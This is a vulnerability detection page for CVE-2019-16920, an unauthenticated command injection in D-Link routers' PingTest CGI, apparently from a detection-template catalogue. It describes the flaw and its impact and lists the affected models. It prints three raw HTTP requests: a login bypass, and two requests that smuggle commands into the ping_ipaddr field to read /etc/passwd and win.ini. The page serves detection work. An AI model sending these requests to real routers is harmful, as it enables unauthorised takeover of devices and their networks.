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CVE-2019-16920: D-Link Routers - Remote Code Execution

TitleD-Link Routers - Remote Code Execution
Authordwisiswant0
SeverityCritical
ImpactSuccessful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to complete compromise of the device and the network it is connected to.
RemediationApply the latest firmware update provided by D-Link to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.94187
CVE IDCVE-2019-16920
CWE IDCWE-78
Tags cve2019 cve dlink rce router unauth kev vkev vuln

🔍 Vulnerability Description

D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a “PingTest” device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

🌐 HTTP Request

POST /apply_sec.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Content-Length: 142
Content-Type: application/x-www-form-urlencoded
Referer: http://www.victim.com
Accept-Encoding: gzip

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
POST /apply_sec.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Content-Length: 95
Content-Type: application/x-www-form-urlencoded
Cookie: uid=1234123
Referer: http://www.victim.com/login_pic.asp
Accept-Encoding: gzip

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0acat%20%2Fetc%2Fpasswd
POST /apply_sec.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10
Connection: close
Content-Length: 105
Content-Type: application/x-www-form-urlencoded
Cookie: uid=1234123
Referer: http://www.victim.com/login_pic.asp
Accept-Encoding: gzip

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0atype%20C%3A%5CWindows%5Cwin.ini

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16920.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-16920.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A